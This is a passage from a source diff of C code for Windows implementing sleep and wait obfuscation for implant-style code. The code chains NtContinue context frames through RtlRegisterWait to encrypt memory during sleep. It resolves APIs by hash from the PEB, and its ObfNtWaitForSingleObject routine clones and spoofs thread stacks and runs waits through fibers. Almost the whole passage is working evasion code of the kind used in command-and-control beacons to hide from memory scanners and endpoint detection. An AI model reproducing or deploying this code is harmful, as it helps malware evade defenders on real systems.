| 1063 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Set, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1064 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Enc, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1065 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Gt1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1066 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Cp1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1067 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Cp2, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1068 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, St1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1069 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Sev, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1070 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Blk, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1071 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Cp3, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1072 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, St2, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1073 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Dec, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1074 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Res, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1075 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, End, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
| 1076 | + | |
| 1077 | + | /* Adjust the offset before setting our new frame */ |
| 1078 | + | Ctx.Rsp -= U_PTR( sizeof( PVOID ) ); |
| 1079 | + | |
| 1080 | + | /* Execute and await the frame results! */ |
| 1081 | + | Api.NtSignalAndWaitForSingleObject( Ev2, Ev3, FALSE, NULL ); |
| 1082 | + | }; |
| 1083 | + | }; |
| 1084 | + | }; |
| 1085 | + | }; |
| 1086 | + | }; |
| 1087 | + | }; |
| 1088 | + | } while ( 0 ); |
| 1089 | + | |
| 1090 | + | if ( Ev1 != NULL ) { |
| 1091 | + | Api.NtClose( Ev1 ); |
| 1092 | + | }; |
| 1093 | + | if ( Ev2 != NULL ) { |
| 1094 | + | Api.NtClose( Ev2 ); |
| 1095 | + | }; |
| 1096 | + | if ( Ev3 != NULL ) { |
| 1097 | + | Api.NtClose( Ev3 ); |
| 1098 | + | }; |
| 1099 | + | if ( Ev4 != NULL ) { |
| 1100 | + | Api.NtClose( Ev4 ); |
| 1101 | + | }; |
| 1102 | + | if ( Que != NULL ) { |
| 1103 | + | Api.RtlDeregisterWait( Que ); |
| 1104 | + | }; |
| 1105 | + | if ( Cap != NULL ) { |
| 1106 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cap ); |
| 1107 | + | }; |
| 1108 | + | if ( Beg != NULL ) { |
| 1109 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Beg ); |
| 1110 | + | }; |
| 1111 | + | if ( Set != NULL ) { |
| 1112 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Set ); |
| 1113 | + | }; |
| 1114 | + | if ( Enc != NULL ) { |
| 1115 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Enc ); |
| 1116 | + | }; |
| 1117 | + | if ( Gt1 != NULL ) { |
| 1118 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Gt1 ); |
| 1119 | + | }; |
| 1120 | + | if ( Cp1 != NULL ) { |
| 1121 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cp1 ); |
| 1122 | + | }; |
| 1123 | + | if ( Cp2 != NULL ) { |
| 1124 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cp2 ); |
| 1125 | + | }; |
| 1126 | + | if ( St1 != NULL ) { |
| 1127 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, St1 ); |
| 1128 | + | }; |
| 1129 | + | if ( Sev != NULL ) { |
| 1130 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Sev ); |
| 1131 | + | }; |
| 1132 | + | if ( Blk != NULL ) { |
| 1133 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Blk ); |
| 1134 | + | }; |
| 1135 | + | if ( Cp3 != NULL ) { |
| 1136 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cp3 ); |
| 1137 | + | }; |
| 1138 | + | if ( St2 != NULL ) { |
| 1139 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, St2 ); |
| 1140 | + | }; |
| 1141 | + | if ( Dec != NULL ) { |
| 1142 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Dec ); |
| 1143 | + | }; |
| 1144 | + | if ( Res != NULL ) { |
| 1145 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Res ); |
| 1146 | + | }; |
| 1147 | + | if ( End != NULL ) { |
| 1148 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, End ); |
| 1149 | + | }; |
| 1150 | + | if ( Cln != NULL ) { |
| 1151 | + | /* Close the thread pool cleanup */ |
| 1152 | + | Api.CloseThreadpoolCleanupGroupMembers( Cln, TRUE, NULL ); |
| 1153 | + | }; |
| 1154 | + | if ( Pol != NULL ) { |
| 1155 | + | /* Close the pool */ |
| 1156 | + | Api.CloseThreadpool( Pol ); |
| 1157 | + | }; |
| 1158 | + | if ( Src != NULL ) { |
| 1159 | + | /* Close the thread handle */ |
| 1160 | + | Api.NtClose( Src ); |
| 1161 | + | }; |
| 1162 | + | |
| 1163 | + | /* Dereference */ |
| 1164 | + | Api.LdrUnloadDll( Adv ); |
| 1165 | + | }; |
| 1166 | + | |
| 1167 | + | /* Dereference */ |
| 1168 | + | Api.LdrUnloadDll( K32 ); |
| 1169 | + | }; |
| 1170 | + | |
| 1171 | + | /* Zero out stack structures */ |
| 1172 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 1173 | + | RtlSecureZeroMemory( &Rnd, sizeof( Rnd ) ); |
| 1174 | + | RtlSecureZeroMemory( &Oli, sizeof( Oli ) ); |
| 1175 | + | RtlSecureZeroMemory( &Nwi, sizeof( Nwi ) ); |
| 1176 | + | RtlSecureZeroMemory( &Key, sizeof( Key ) ); |
| 1177 | + | RtlSecureZeroMemory( &Buf, sizeof( Buf ) ); |
| 1178 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 1179 | + | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); |
| 1180 | + | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); |
| 1181 | + | |
| 1182 | + | /* Switch back to the primary 'stack' master */ |
| 1183 | + | Parameter->SwitchToFiber( Parameter->Master ); |
| 1184 | + | }; |
| 1185 | + | |
| 1186 | + | /*! |
| 1187 | + | * |
| 1188 | + | * Purpose: |
| 1189 | + | * |
| 1190 | + | * Executes NtWaitForSingleObject while obfuscated. |
| 1191 | + | * Once the wait has completed, the result will be |
| 1192 | + | * returned back to us. |
| 1193 | + | * |
| 1194 | + | !*/ |
| 1195 | + | D_SEC( E ) NTSTATUS NTAPI ObfNtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOOLEAN Alertable, _In_ PLARGE_INTEGER Timeout ) |
| 1196 | + | { |
| 1197 | + | MIN_API Api; |
| 1198 | + | CONTEXT Ctx; |
| 1199 | + | ANSI_STRING Ani; |
| 1200 | + | FIBER_PARAM Fbr; |
| 1201 | + | THREAD_PARAM Prm; |
| 1202 | + | UNICODE_STRING Uni; |
| 1203 | + | THREAD_BASIC_INFORMATION Tbi; |
| 1204 | + | |
| 1205 | + | ULONG Stl = 0; |
| 1206 | + | NTSTATUS Nst = STATUS_UNSUCCESSFUL; |
| 1207 | + | |
| 1208 | + | PTEB Teb = NULL; |
| 1209 | + | PVOID Ptr = NULL; |
| 1210 | + | PVOID K32 = NULL; |
| 1211 | + | LPVOID Ent = NULL; |
| 1212 | + | LPVOID Stk = NULL; |
| 1213 | + | HANDLE Thd = NULL; |
| 1214 | + | |
| 1215 | + | /* Zero out stack structures */ |
| 1216 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 1217 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 1218 | + | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); |
| 1219 | + | RtlSecureZeroMemory( &Fbr, sizeof( Fbr ) ); |
| 1220 | + | RtlSecureZeroMemory( &Prm, sizeof( Prm ) ); |
| 1221 | + | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); |
| 1222 | + | RtlSecureZeroMemory( &Tbi, sizeof( Tbi ) ); |
| 1223 | + | |
| 1224 | + | Api.NtQueryInformationThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYINFORMATIONTHREAD ); |
| 1225 | + | Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS ); |
| 1226 | + | Api.NtWaitForSingleObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTWAITFORSINGLEOBJECT ); |
| 1227 | + | Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING ); |
| 1228 | + | Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD ); |
| 1229 | + | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); |
| 1230 | + | Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING ); |
| 1231 | + | Api.NtCreateThreadEx = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATETHREADEX ); |
| 1232 | + | Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP ); |
| 1233 | + | Api.NtSuspendThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSUSPENDTHREAD ); |
| 1234 | + | Api.NtResumeThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTRESUMETHREAD ); |
| 1235 | + | Api.NtCreateEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATEEVENT ); |
| 1236 | + | Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL ); |
| 1237 | + | Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP ); |
| 1238 | + | Api.NtSetEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETEVENT ); |
| 1239 | + | Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL ); |
| 1240 | + | Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE ); |
| 1241 | + | |
| 1242 | + | Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"kernel32.dll" ) ) ); |
| 1243 | + | Api.LdrLoadDll( NULL, 0, &Uni, &K32 ); |
| 1244 | + | |
| 1245 | + | if ( K32 != NULL ) { |
| 1246 | + | |
| 1247 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "ConvertThreadToFiber" ) ) ); |
| 1248 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.ConvertThreadToFiber ); |
| 1249 | + | |
| 1250 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "ConvertFiberToThread" ) ) ); |
| 1251 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.ConvertFiberToThread ); |
| 1252 | + | |
| 1253 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SwitchToFiber" ) ) ); |
| 1254 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SwitchToFiber ); |
| 1255 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Fbr.SwitchToFiber ); |
| 1256 | + | |
| 1257 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CreateFiber" ) ) ); |
| 1258 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CreateFiber ); |
| 1259 | + | |
| 1260 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "DeleteFiber" ) ) ); |
| 1261 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.DeleteFiber ); |
| 1262 | + | |
| 1263 | + | /* Locate ntdll!RtlUserThreadStart */ |
| 1264 | + | Ent = C_PTR( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), 0x0353797c ) ); |
| 1265 | + | |
| 1266 | + | /* Create thread pointing at our thread capture routine */ |
| 1267 | + | if ( NT_SUCCESS( Api.NtCreateThreadEx( &Thd, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Ent, NULL, TRUE, 0, 0x1000, 0, NULL ) ) ) { |
| 1268 | + | |
| 1269 | + | /* Create an notification to alert when we have the rest of the params filled */ |
| 1270 | + | if ( NT_SUCCESS( Api.NtCreateEvent( &Prm.Ev1, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { |
| 1271 | + | /* Create a notifiation to alert when the thread should run the new frame */ |
| 1272 | + | if ( NT_SUCCESS( Api.NtCreateEvent( &Prm.Ev2, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { |
| 1273 | + | |
| 1274 | + | /* Capture information about the thread */ |
| 1275 | + | Ctx.ContextFlags = CONTEXT_FULL; |
| 1276 | + | |
| 1277 | + | /* Get the CONTEXT structure */ |
| 1278 | + | if ( NT_SUCCESS( Api.NtGetContextThread( Thd, &Ctx ) ) ) { |
| 1279 | + | |
| 1280 | + | /* Set our actual values */ |
| 1281 | + | Ctx.ContextFlags = CONTEXT_FULL; |
| 1282 | + | Ctx.Rcx = U_PTR( G_SYM( ThreadCaptureReturnAddr ) ); |
| 1283 | + | Ctx.Rdx = U_PTR( &Prm ); |
| 1284 | + | |
| 1285 | + | /* Set the CONTEXT structure */ |
| 1286 | + | if ( NT_SUCCESS( Api.NtSetContextThread( Thd, &Ctx ) ) ) { |
| 1287 | + | /* Resume the thread */ |
| 1288 | + | if ( NT_SUCCESS( Api.NtResumeThread( Thd, NULL ) ) ) { |
| 1289 | + | /* Await for the thread to signal */ |
| 1290 | + | if ( NT_SUCCESS( Api.NtWaitForSingleObject( Prm.Ev1, FALSE, NULL ) ) ) { |
| 1291 | + | /* Query THREAD_BASIC_INFORMATION about the thread */ |
| 1292 | + | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL ) ) ) { |
| 1293 | + | Teb = C_PTR( Tbi.TebBaseAddress ); |
| 1294 | + | Stl = U_PTR( Teb->NtTib.StackBase ) - U_PTR( Prm.Rsp ); |
| 1295 | + | |
| 1296 | + | /* Allocate memory to hold the stack */ |
| 1297 | + | if ( ( Stk = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Stl ) ) != NULL ) { |
| 1298 | + | /* Copy over the stack pointers */ |
| 1299 | + | __builtin_memcpy( Stk, Prm.Rsp, Stl ); |
| 1300 | + | |
| 1301 | + | /* Set the event. If we fail, free the stack */ |
| 1302 | + | if ( ! NT_SUCCESS( Api.NtSetEvent( Prm.Ev2, NULL ) ) ) { |
| 1303 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Stk ); |
| 1304 | + | Stk = NULL; |
| 1305 | + | }; |
| 1306 | + | }; |
| 1307 | + | }; |
| 1308 | + | }; |
| 1309 | + | } |
| 1310 | + | }; |
| 1311 | + | }; |
| 1312 | + | /* Close! */ |
| 1313 | + | Api.NtClose( Prm.Ev2 ); |
| 1314 | + | }; |
| 1315 | + | /* Close! */ |
| 1316 | + | Api.NtClose( Prm.Ev1 ); |
| 1317 | + | }; |
| 1318 | + | /* Close! */ |
| 1319 | + | Api.NtClose( Thd ); |
| 1320 | + | |
| 1321 | + | /* Do we still have a valid stack */ |
| 1322 | + | if ( Stk != NULL ) { |
| 1323 | + | /* Create a thread pointing @ RtlUserThreadStart */ |
| 1324 | + | if ( NT_SUCCESS( Api.NtCreateThreadEx( &Thd, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Ent, NULL, TRUE, 0, 0x1000, 0, NULL ) ) ) { |
| 1325 | + | /* Query TEB information */ |
| 1326 | + | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL ) ) ) { |
| 1327 | + | Teb = C_PTR( Tbi.TebBaseAddress ); |
| 1328 | + | Ptr = C_PTR( U_PTR( Teb->NtTib.StackBase ) - Stl ); |
| 1329 | + | |
| 1330 | + | /* Copy over the frame */ |
| 1331 | + | __builtin_memcpy( Ptr, Stk, Stl ); |
| 1332 | + | |
| 1333 | + | /* Capture information about the thread */ |
| 1334 | + | Ctx.ContextFlags = CONTEXT_FULL; |
| 1335 | + | |
| 1336 | + | if ( NT_SUCCESS( Api.NtGetContextThread( Thd, &Ctx ) ) ) { |
| 1337 | + | /* Set information about the frame */ |
| 1338 | + | Ctx.ContextFlags = CONTEXT_FULL; |
| 1339 | + | Ctx.Rsp = U_PTR( Ptr ); |
| 1340 | + | Ctx.Rip = U_PTR( Api.NtWaitForSingleObject ); |
| 1341 | + | Ctx.Rcx = U_PTR( Handle ); |
| 1342 | + | Ctx.Rdx = U_PTR( FALSE ); |
| 1343 | + | Ctx.R8 = U_PTR( Timeout ); |
| 1344 | + | |
| 1345 | + | /* Set information about the frame */ |
| 1346 | + | if ( NT_SUCCESS( Api.NtSetContextThread( Thd, &Ctx ) ) ) { |
| 1347 | + | /* Convert to a fiber */ |
| 1348 | + | if ( ( Fbr.Master = Api.ConvertThreadToFiber( &Fbr ) ) != NULL ) { |
| 1349 | + | /* Create a fiber pointing at our obfuscate sleep routine */ |
| 1350 | + | if ( ( Fbr.Slaves = Api.CreateFiber( 0x1000 * 2, C_PTR( G_SYM( ObfSleepFiber ) ), &Fbr ) ) != NULL ) { |
| 1351 | + | /* Switch to the obfuscate fiber */ |
| 1352 | + | Fbr.Thread = C_PTR( Thd ); |
| 1353 | + | Fbr.SwitchToFiber( Fbr.Slaves ); |
| 1354 | + | |
| 1355 | + | /* Query the thread exit status */ |
| 1356 | + | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL ) ) ) { |
| 1357 | + | /* Capture NtWaitForSingleObject Return Value */ |
| 1358 | + | Nst = Tbi.ExitStatus; |
| 1359 | + | }; |
| 1360 | + | |
| 1361 | + | /* Delete the fiber */ |
| 1362 | + | Api.DeleteFiber( Fbr.Slaves ); |
| 1363 | + | }; |
| 1364 | + | /* Convert back to a thread */ |
| 1365 | + | Api.ConvertFiberToThread(); |
| 1366 | + | }; |
| 1367 | + | }; |
| 1368 | + | }; |
| 1369 | + | }; |
| 1370 | + | /* Close */ |
| 1371 | + | Api.NtClose( Thd ); |
| 1372 | + | }; |
| 1373 | + | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Stk ); |
| 1374 | + | }; |
| 1375 | + | }; |
| 1376 | + | /* Dereference! */ |
| 1377 | + | Api.LdrUnloadDll( K32 ); |
| 1378 | + | }; |
| 1379 | + | |
| 1380 | + | /* Zero out stack structures */ |
| 1381 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 1382 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 1383 | + | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); |
| 1384 | + | RtlSecureZeroMemory( &Fbr, sizeof( Fbr ) ); |
| 1385 | + | RtlSecureZeroMemory( &Prm, sizeof( Prm ) ); |
| 1386 | + | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); |
| 1387 | + | RtlSecureZeroMemory( &Tbi, sizeof( Tbi ) ); |
| 1388 | + | |
| 1389 | + | /* Status */ |
| 1390 | + | return Nst; |
| 1391 | + | }; |
| 1392 | + | |
| 1393 | + | #endif |
| 1394 | + | |